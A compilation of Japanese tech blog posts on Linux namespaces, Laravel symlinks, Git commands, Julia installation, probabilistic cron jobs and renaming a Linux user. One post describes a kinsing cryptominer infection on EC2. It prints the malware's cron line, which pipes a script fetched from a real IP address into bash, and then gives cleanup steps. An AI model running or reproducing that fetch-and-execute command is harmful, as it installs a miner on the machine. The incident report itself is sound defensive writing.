- 投稿日:2021-03-03T23:54:35+09:00
unshareコマンドで、Namespaceを作成してみる
こんにちは。
Dockerの仕組みを学習して、コンテナはNamespaceなどのLinuxの機能で出来ている事が判明し、Namespaceを自分で作成できることがわかったので試してみました。
今回はプロセスの分離と、ホスト名の分離を行いました。$ unshare コマンドでNamespaceを作成してみる
筆者はCentOS7環境で行っています。
プロセスの分離(PID, Mount)
まず
$ps ax
で通常のNamespaceのプロセスを表示します。たくさん表示されます。
$ ps ax PID TTY STAT TIME COMMAND 1 ? Ss 0:01 /usr/lib/systemd/systemd --switched-root --system --d 2 ? S 0:00 [kthreadd] 3 ? S 0:00 [kworker/0:0] 4 ? S< 0:00 [kworker/0:0H] 5 ? S 0:00 [kworker/u4:0] ~~~ 2195 pts/0 R+ 0:00 ps axNamespaceを作成するために以下のコマンドを実行します。
$ sudo unshare --pid --mount-proc --fork /bin/bash
--pid
は、PID Namespaceを分離します。--mount-proc
は、/proc
ディレクトリをマウントする設定で、これを指定しないと親のpid名前空間の情報を出力してしまいます。/proc
ディレクトリは、システムの状態などが保管されている特殊なディレクトリで、これらはメモリ上に保存される仮想ファイルと呼ばれるものです。--fork
は指定されたプログラムを直接実行するのではなく、unshare
の子プロセスとしてフォークします。PID Namespaceを作成する際は、これらがセットで用いられるのが一般的のようです。
新たなNamespaceで
$ps ax
を実行すると、bash
とps
のみが表示され、プロセス空間が分離されていることがわかります。# ps ax PID TTY STAT TIME COMMAND 1 pts/0 S 0:00 /bin/bash 14 pts/0 R+ 0:00 ps ax確認ができたので、
$exit
で元の名前空間に戻ります。# exit exitホスト名の分離(UTS)
今度はホスト名の分離をします。
ホスト名はUTS Namespaceで管理されています。
$hostname
で現在のホスト名を確認します。$ hostname localhost.localdomain以下のコマンドで
UTS Namespace
を分離します。$ sudo unshare -u /bin/bash
-u
はUTS Namespaceを分離します。以下のコマンドでホスト名を
newhost
に変更します。# hostname newhost再度
$hostname
を実行し、ホスト名が変更されたことを確認します。# hostname newhost
$exit
で元のNamespaceに戻ります。# exit exit最後にもう一度
$hostname
を実行し、元のNamespaceではホスト名が変更されていない事が確認できます。$ hostname localhost.localdomain
- 投稿日:2021-03-03T22:59:02+09:00
Laravel 画像の投稿機能とシンボリックリンク
はじめに
Laravelにて簡単な画像付きレシピ投稿アプリを作成しています。
画像のアップロード機能を実装した際にシンボリックリンクという言葉を初めて知ったので、備忘録として記録しておくことにしました。シンボリックリンクとは
Windouwsでいうところのショートカットのようなもの。
シンボリックリンクファイルを通して大元のフォルダを参照することができます。やりたいこと
投稿フォームから画像を選択し送信ボタンを押すと一覧で表示されるという仕組み。
画像ファイルを選択し送信ボタンをクリック
一覧画面へ画像を表示
ここでレシピ投稿アプリなのに料理の写真ねーじゃん!とツッコまれる
画像の保存先
さて、コントローラーで受け取った画像ファイルは基本的に
storage/app/public/image
内に保存させます。RecipeController.phppublic function create(Request $request){ $recipe = new Recipe; $form = $request->all(); //画像が送信されたら保存して $recipe->image_pathカラム にパスを保存する if (isset($form['image'])) {//変数に値が入っているかをチェック $path = $request->file('image')->store('image');// 画像をstorage/app/public/image配下に保存 $recipe->image_path = basename($path);//パスからを取得したファイル名をimage_pathカラムに保存 } else { $recipe->image_path = null; } unset($form['_token']); unset($form['image']); $recipe->fill($form)->save(); return redirect('/home'); }ただ、実際にアプリケーションを起動するときに公開されるのはpublicディレクトリのみです。画像は
storage/app/public/image
に保存されているので画像データを持ってくることはできません。
そんなときにpublicディレクトリ
からstorage/app/public/image
へのショートカット機能の役割を果たすのががシンボリックリンクです。シンボリックリンクの貼り方
artisanコマンドから簡単にできます。
まずpublicディレクトリへ移動します。$ cd public以下のコマンドを実行します。
$ php artisan storage:linkするとpublic内にstorageフォルダができます。(ショートカットが作成されるの方がわかりやすいかも)
矢印ができます。
public/image
と進んでいくと、storage/app/public/image
と同じ画像ファイルが存在していることがわかるかと思います。ビューに画像を表示させる
画像表示部分のみ
home.blade.php<img src="{{ asset('storage/image/' . $recipe->image_path) }}" width="100%" heigth="100%" alt="">
asset('ファイルパス')
はpublicディレクトリのパスを返す関数です。
丁寧に書くと、app/public/storage/image/[画像のパス名]
となるわけです。
さっきシンボリックリンクを貼ったおかげでこのフォルダパスを通すことができました。終わり。
- 投稿日:2021-03-03T16:49:38+09:00
kinsing(kdevtmpfsi)という厄介なマルウェアにかかった話
EC2が急にCPU100%のアラートを飛ばすようになった。nanoなのに1日2ドルとかトラフィックでかかっていてなんだこれ?ってなった。
調べてみるとkinsing(kdevtmpfsi)というマルウェアにかかっていて、仮想通貨のマイニングに勝手に使われた模様。
プロセスは下記の様な感じ。【注意】下記のシェルURLは絶対に叩かないでください!!
[root@ip-xxx-xxx-xxx-xxx ~]# ps aux | grep nginx nginx 2296 0.0 0.3 404256 1432 ? S 2月14 0:10 php-fpm: pool www nginx 2297 0.0 0.3 402228 1584 ? S 2月14 0:09 php-fpm: pool www nginx 2298 0.0 0.2 404268 1232 ? S 2月14 0:10 php-fpm: pool www nginx 2299 0.0 0.3 404252 1584 ? S 2月14 0:10 php-fpm: pool www nginx 2301 0.0 0.3 402232 1616 ? S 2月14 0:10 php-fpm: pool www root 2304 0.0 0.0 125972 0 ? Ss 2月14 0:00 nginx: master process /usr/sbin/nginx nginx 2306 0.0 0.0 126384 396 ? S 2月14 0:02 nginx: worker process nginx 2307 0.0 0.0 126384 160 ? S 2月14 0:00 nginx: worker process nginx 2762 0.0 0.2 402212 1396 ? S 2月14 0:10 php-fpm: pool www nginx 9152 0.0 0.2 404256 1416 ? S 04:28 0:06 php-fpm: pool www nginx 20413 0.0 0.7 718484 3412 ? Sl 20:50 0:00 /tmp/kinsing nginx 20564 197 56.3 788140 266128 ? Ssl 20:51 76:19 /tmp/kdevtmpfsi root 22545 0.0 0.1 119436 864 pts/0 S+ 21:30 0:00 grep --color=auto nginx [root@ip-xxx-xxx-xxx-xxx ~]# cd /var/spool/cron [root@ip-xxx-xxx-xxx-xxx cron]# ll 合計 4 -rw------- 1 nginx nginx 74 2月 15 20:50 nginx [root@ip-xxx-xxx-xxx-xxx cron]# cat nginx * * * * * wget -q -O - http://195.3.146.118/pg.sh | bash > /dev/null 2>&1 [root@ip-xxx-xxx-xxx-xxx tmp]# pwd /tmp [root@ip-xxx-xxx-xxx-xxx tmp]# ll -a 合計 4 drwxrwxrwt 11 root root 4096 2月 15 21:44 . dr-xr-xr-x 19 root root 288 6月 2 2020 .. drwxrwxrwt 2 root root 6 6月 1 2020 .ICE-unix drwxr-xr-x 2 nginx nginx 18 2月 11 21:41 .ICEd-unix drwxrwxrwt 2 root root 6 6月 1 2020 .Test-unix drwxrwxrwt 2 root root 6 6月 1 2020 .X11-unix drwxrwxrwt 2 root root 6 6月 1 2020 .XIM-unix drwxrwxrwt 2 root root 6 6月 1 2020 .font-unix drwx------ 3 root root 17 2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-chronyd.service-oOMI2M drwx------ 3 root root 17 2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-nginx.service-YmMBKR drwx------ 3 root root 17 2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-php-fpm.service-GQpeT7 [root@ip-xxx-xxx-xxx-xxx tmp]# ll -a /var/spool/cron/ 合計 0 drwx------ 2 root root 6 2月 15 21:38 . drwxr-xr-x 9 root root 97 5月 27 2020 ..何かしらの脆弱性をついてnginxのユーザーで特定のプログラムを実行させるという手法。
対処方法
kinsingにかかったら、/tmpのkinsing,kdevtmpfsiを削除するのと、/var/spool/cron/nginx のファイルを削除してください。
また、root権限かsudoで全体に検索かけてください。[root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kinsing” [root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kdevtmpfsi”本件の問題は、Laravelフレームワークにおいてデバッグ出力時に利用しているcomposerのfacade/ignitionの脆弱性が問題です。
composer updateをして最新版にアップデートしてください。
facade/ignitionがバージョン2.0.6で問題が起き、2.5.13で問題が起きないことを確認しています。また、.env の APP_DEBUG がtrue になってたら false に変更してください。
一応プロセスキルだけでも良いとは思いますが、念の為サーバーは再起動した方が良いと思います。yumとcomposerは定期的にアップデートした方がよさそうです。
- 投稿日:2021-03-03T16:39:51+09:00
Git覚え書き
Gitチュートリアル
準備
apt-get update apt-get install -y git apt-get install -y vim設定
git config --global user.name "Shoichiro Kanno" # 名前(必須) git config --global user.email "s-kanno@example.com" # メールアドレス(必須) git config --global color.ui true # カラー表示(任意) git config -l # 設定内容確認 git config --global --unset {key} # 設定項目の削除 git config --global credential.helper 'store --file ~/.git_credentials' # 認証情報を記憶基本的な使い方
git init # 初期化 git add hogehoge.txt # 特定のファイル・変更を追加 git add . # すべてのファイル・変更を追加 git rm hogehoge.txt # ファイル削除 git mv hogehoge.txt foofoo.txt # ファイル移動 git commit # コミット git commit --amend # 直前のコミットの変更を変更する git log # 履歴表示 git log --oneline # 履歴表示(1行表示) git log -p # 履歴表示(変更箇所付き) git log --stat # 変更履歴(変更ファイル名付き) git status # 状態を表示 git checkout -- hogehoge.txt # commitされている状態に戻す git diff # 変更箇所を表示 git diff --cached # ステージングエリア(コミット前)の変更箇所 vi .gitignore # 無視するファイルを設定 git reset --hard HEAD # コミットされている状態に戻す(ファイルの変更、追加も打ち消す) git reset --hard HEAD^ # HEADから1つ前のコミットに戻す(すべて打ち消す) git reset --soft HEAD^ # HEADから1つ前のコミットに戻す(ワーキングツリー・インデックスはそのまま) git reset --mixed HEAD^ # HEADから1つ前のコミットに戻す(ワーキングツリーはそのまま) git reset --hard {id} # 特定のコミットに戻る git reset --hard ORIG_HEAD # 持っどったのを戻る git reflog # HEADが辿ってきた履歴 git branch # ブランチの一覧 git branch {branch_name} # ブランチの作成 git branch -d {branch_name} # ブランチの削除 git checkout {branch_name} # ブランチの切り替え git checkout -b {branch_name} # ブランチを作成、同時に切り替え git merge {branch_name} # ブランチのマージ git merge --squash {branch_name} # マージするブランチのコミットを1コミットにまとめる ※別途コミットすること git tag {tag_name} # 直近のコミットにタグを付ける git tag {tag_name} {id} # 特定のコミットにタグを付ける git tag -d {tag_name} # タグの削除 git show {tag_name} # タグのコミットを表示 git clone {url} {dir_name} # クローン git push # プッシュ git pull # プル git push --set-upstream origin {branch_name} # ブランチを作って初回のプッシュ git stash -u # 変更内容を退避(-uを付けるとaddをしていないファイルも退避する) git stash -u save "stash message" # メッセージを付けて変更内容を退避 git stash list # stashの一覧を表示 git stash apply stash@{0} --index # stashした状態に戻す(--indexを付けないとaddを行った情報がなくなる) git stash drop stash@{0} # stashを削除 # branch1へbranch2を取り込む。その歳、branch1の最新のコミットからbranch2のコミットを追加する。 git rebase {branch1_name} {branch2_name} git cherry-pick {id} # 特定のコミットを取り込む git revert [id] # 特定のコミットを消す小ネタ
# git logで文字化けする場合の対応 vim ~/.bashrc export LESSCHARSET=utf-8 source ~/.bashrc
- 投稿日:2021-03-03T12:31:51+09:00
Juliaのインストール方法(Windows, Mac,Linux)
はじめに
Juliaは2009年にMITに在籍していた4人の研究者が開発を始め,2012年にオープンソースソフトウェアとして公開が始まった.高速な動作,シンプルな構文,外部ライブラリとの連携が可能という特徴がある.
今回はJuliaのインストール方法についてまとめた.インストール方法
Windows
https://julialang.org/downloads/にアクセスし,パソコンのbit数にあわせてダウンロードする.installerまたはportableのどちらでも良い.installerをダウンロードした場合,ダブルクリックしJuliaをインストールする.
portableをダウンロードした場合,zipファイルを展開し,適当なディレクトリに移動させる.PATHを通す
コマンドラインから実行できるようにPATHを通す.
実行ファイルの場所を確認しPATHを追加する1.
installerを使ってインストールした場合は次のようにPATHを追加する.C:\Users\(ユーザー名)\AppData\Local\Programs\Julia 1.5.3\binmacOS
https://julialang.org/downloads/にアクセスし,macOS版をダウンロードする.ダウンロードしたファイルをダブルクリックする.
Applicationsフォルダに移動させる.
Julia-1.5.appをopenする.シンボリックリンクの設定
ターミナルから実行できるようにシンボリックリンクを設定する.
/usr/local/bin
にPATHが通っているため,次のようにコマンドを実行し,この場所に設定する.rm -f /usr/local/bin/julia ln -s /Applications/Julia-1.5.app/Contents/Resources/julia/bin/julia /usr/local/bin/juliaLinux
今回インストールした環境は次の通りである.
- WSL Ubuntu 18.04 LTS
Generic Linux on x86の64bitをwgetコマンドでダウンロードする.
https://julialang.org/downloads/
にアクセスし,ダウンロードしたいファイルを右クリックし,リンクのURLをコピーすることでURLを確認できる.wget https://julialang-s3.julialang.org/bin/linux/x64/1.5/julia-1.5.3-linux-x86_64.tar.gz次に,tarコマンドでファイルを展開する.
tar zxvf julia-1.5.3-linux-x86_64.tar.gzシンボリックリンクの設定
展開したファイルを適当な場所に移動させるが,今回は/optに移動させた.
sudo mv julia-1.5.3 /opt次に,シンボリックリンクを設定する.
/usr/local/bin
にPATHが通っているためこの場所に設定する.sudo ln -s /opt/julia-1.5.3/bin/julia /usr/local/bin/julia実行方法
julia --versionと入力し,正しく設定されていることを確認する.
コマンドラインでjulia
と入力するとREPLが起動し,プログラムを実行できる.
REPLを終了する場合はexit()
と入力する.
ファイルに書いたプログラムを実行する場合はjulia ファイル名と入力する.
参考
- 投稿日:2021-03-03T04:23:33+09:00
cronを一定確率で実行する
crontab -e# 毎分1%の確率でecho hoge * * * * * [ $((RANDOM \% 100)) -eq 1 ] && echo hoge # 毎分33%の確率でecho hoge * * * * * [ $((RANDOM \% 100)) -lt 33 ] && echo hoge味噌は「%」にはエスケープが必要ということです。
ハマったので誰かの助けになれば幸いです。
- 投稿日:2021-03-03T02:41:47+09:00
Linux(WSL2)のユーザー名を変更する
はじめに
Linux(やWindows等のOS)は、
よほど特殊な使い方をしない限り初めにユーザーを登録し、そのユーザーとしてログインして使用します。
しかし、Typo等で誤ったユーザー名で作成したものを修正したい場合や、後からユーザー名を変更したいという場合があります。
そのような場合のユーザ名変更方法の覚書です。実行環境
今回は次のような環境で説明します。
- WSL2による仮想環境
- Ubuntu 20.04.2 LTS
基本的には、Linuxであれば他のOSであっても同様の方法で問題ないとは思います。
但し、既存の他の管理者ユーザー(rootユーザー等)としてログインできるかによって途中の手順が増えたり減ったりするのでその点だけご確認ください。
(SSHで接続するような場合はrootユーザーでのログインを禁止していることが多いので…)また、rootユーザーとしてログインするかどうかに関わらず、管理者権限を有していることが前提です。
管理者権限がない場合はこの方法を使用できないのでご注意ください。
(変更対象のユーザーが管理者権限を有している必要はありません)なお、本記事では
コードクオートの装飾の関係上、プロンプトが$
でsudo
からコマンドを入力していますが、rootユーザーであればそもそも管理者権限としてプロンプトが#
となっているのでsudo
は省略してください。忙しい人のために
結論だけ書きます。
root等、変更対象以外のユーザーで次のようにコマンドを入力すれば変更可能です。$ sudo usermod -l <変更後ユーザー名> -d /home/<変更後ユーザー名> -m <変更前ユーザー名> $ sudo groupmod -n <変更後ユーザー名> <変更前ユーザー名>手順
大まかな流れは以下の通りです。
- 変更対象のユーザーで起動したプロセスを全て終了する
- 変更対象以外の管理者ユーザーでログインする
usermod
コマンドでユーザー名とホームディレクトリを変更するgroupmod
コマンドで当該ユーザーのプライマリーグループの名称も変更するなお、変更対象以外のユーザーを用いるのは、
usermod
コマンドによるユーザー名の変更の際にそのユーザーがログインしていてはならない1ためです。
今回は例としてユーザー名hoge
をfuga
に変更します。プロセスの終了
次のようにコマンドを入力を入力することで、当該ユーザーで実行中のプロセスを確認することができます。
実行結果に、bash
等の現在使用しているターミナルやps
以外が含まれていないことを確認してください。hoge$ ps ux
(実行例)
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND hoge 202 0.0 0.0 10052 5128 pts/0 Ss 02:25 0:00 -bash hoge 218 0.0 0.0 10616 3248 pts/0 R+ 02:25 0:00 ps uxなお、筆者の環境では、
./fsnotifier-wsl
やdocker serve
などが実行中となっていました。
これらは、ホストマシンであるWindows側で起動している、JetBrains製IDEやDocker Desktopによるものです。
従って、ホストマシン側のプロセスを終了する必要がある場合もあります。
ぶっちゃけホストマシンごと再起動した直後にやったほうが賢いとは思います。管理者ユーザーの作成
rootユーザー等、変更対象以外の管理者ユーザーとしてログイン可能な場合は、この手順を飛ばしてください。
WSL2環境でホストマシンから直接操作する場合はrootログインできるハズ…次のようにコマンドを入力し、変更対象以外の管理者ユーザーを作成します。
ここではこのユーザーをtmpadmin
とします。
(admin
というグループが既存な場合が多いので…)
なお、このユーザーに対してホームディレクトリを作成したくない場合は-m
を-M
に置き換えてください。hoge$ sudo useradd -m -s /bin/bash tmpadminまた、rootログインできない環境ならば十中八九パスワードが必要なので、次のように
tmpadmin
にパスワードを設定します。
コマンド入力後に対話式でパスワードを設定する流れです。hoge$ sudo passwd tmpadmin New password: Retype new password:変更対象のユーザーでログインしたままではユーザー名が変更できないので、一旦ログアウトします。
管理者ユーザーとしてログイン
WSL2であれば、コマンドプロンプトやPowerShell等で次のようにコマンドを入力することで、管理者ユーザー(root)でログインできます。
> wsl -u rootWSL2以外の環境であれば、SSHや実機のコンソール等で、rootユーザーか先程作成した管理者ユーザーとしてログインしてください。
> ssh tmpadmin@example.comユーザー名の変更
ユーザー名の変更には
usermod
コマンドを使用します。
usermod
コマンドの基本的な記法は次のようなものです。$ sudo usermod [オプション] <対象ユーザー名>このオプションにて変更したい内容等を指定します。
今回は、ユーザー名を変更したいので、
-l
(--login
)オプションを用いて、変更後のユーザー名を指定します。
次のようなコマンドとなります。
(これはまだ入力しないでください)tmpadmin$ sudo usermod -l fuga hogeまた、ユーザー名はホームディレクトリの名称にも用いられているので、ホームディレクトリも変更します。
-d
(--home
)オプションで変更後のディレクトリを指定します。
また、変更後のディレクトリに現在のホームディレクトリの内容を引き継ぎたいので、-m
(--move-home
)オプションを付加します。
よって、ディレクトリの変更(引き継ぎ)は次のようなコマンドとなります。
なお、ホームディレクトリの場所を変更している場合は/home
の部分を置き換えて適宜対応してください。
(これもまだ入力しないでください)tmpadmin$ sudo usermod -d /home/fuga -m hogeよって、今回ユーザー名
hoge
をfuga
に変更するために、上記2つのオプションを組み合わせた次のようなコマンドを入力することになります。
(これを入力してください)tmpadmin$ sudo usermod -l fuga -d /home/fuga -m hogeグループ名の変更
通常、ユーザーにはプライマリーグループとして、ユーザー名と同名のグループが割り当てられています。
このグループについても名称を変更します。グループ名の変更には
groupmod
コマンドを使用します。
groupmod
コマンドの基本的な記法は次のようなものです。$ sudo usermod [オプション] <対象グループ名>
usermod
のときと同様に、このオプションにて変更したい内容等を指定します。今回は、グループ名を変更したいので、
-n
(--new-name
)オプションを用いて、変更後のグループ名を指定します。
今回はグループ名hoge
をfuga
に変更する(基本的にはユーザー名と同名なので)ので、次のようなコマンドを入力することになります。tmpadmin$ sudo groupmod -n fuga hoge確認
ユーザー一覧は
/etc/passwd
で、グループ一覧は/etc/group
で確認することができます。
恐らくファイルの末尾付近に当該ユーザーがあると思うので、変更前の名称が残っていないか、変更後の名称が記載されているかを確認してください。
また、/home/
配下のディレクトリ一覧も確認し、変更前の名称のディレクトリが残っていないか、変更後の名称のディレクトリが存在するかも確認してください。$ sudo less /etc/passwd $ sudo less /etc/group $ ls -al /homeなお、ファイルが長くて読めないという場合等は、
grep
コマンドと組み合わせて以下のように調べることも可能です。$ sudo cat /etc/passwd | grep hoge $ sudo cat /etc/passwd | grep fuga $ sudo cat /etc/group | grep hoge $ sudo cat /etc/group | grep fuga $ ls -al /home | grep hoge $ ls -al /home | grep fuga管理者ユーザーの削除
今回管理者ユーザーを作成した場合の手順です。
rootユーザー等既存のユーザーを使用した場合は読み飛ばしてください。
(と言っても、この記事にこれより後はありませんが…)今まで作業していた
tmpadmin
からログアウトして、他の管理者ユーザー(今回名称を変更したユーザー等)でログインし直してください。ユーザーの削除には
userdel
コマンドを使用します。
ここで、ユーザーディレクトリ等も削除するために、-r
オプションを付加します。
よって、tmpadmin
というユーザーを削除するためには、次のようなコマンドを入力することになります。fuga$ sudo userdel -r tmpadminこのとき、
userdel: tmp mail spool (/var/mail/tmp) not found
等のエラーが表示されるかと思いますが、無視して問題ありません。先程と同様に、
tmpadmin
ユーザーが残っていないか確認してください。tmpadmin$ sudo cat /etc/passwd | grep tmpadmin tmpadmin$ sudo cat /etc/group | grep tmpadmin tmpadmin$ ls -al /home | grep tmpadmin参考
【 usermod 】コマンド――ユーザーアカウントの情報を変更する:Linux基本コマンドTips(73) - @IT
【 groupmod 】コマンド――グループIDや名前を変更する:Linux基本コマンドTips(260) - @IT
【 useradd 】コマンド――新規ユーザーを作成する:Linux基本コマンドTips(255) - @IT
【 userdel 】コマンド――ユーザーを削除する:Linux基本コマンドTips(257) - @IT
厳密には、そのユーザーで実行中のプロセスが存在してはならない ↩